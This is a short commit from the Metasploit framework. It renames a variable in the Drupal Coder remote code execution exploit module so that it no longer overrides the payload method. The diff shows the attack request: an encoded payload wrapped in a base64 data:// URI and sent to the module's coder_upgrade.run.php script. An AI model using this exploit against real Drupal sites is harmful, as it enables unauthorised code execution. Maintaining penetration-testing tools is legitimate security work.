Don't override payload

pl is a cheap replacement.

modules/exploits/unix/webapp/drupal_coder_exec.rb

@@ -87,14 +87,14 @@ class MetasploitModule < Msf::Exploit::Remote
     p << payload.encoded
     p << ' #";s:4:"name";s:4:"test";}}}'
 
-    payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
+    pl = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
 
     send_request_cgi(
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
       'encode_params' => false,
       'vars_get' => {
-        'file' => payload
+        'file' => pl
       }
     )
   end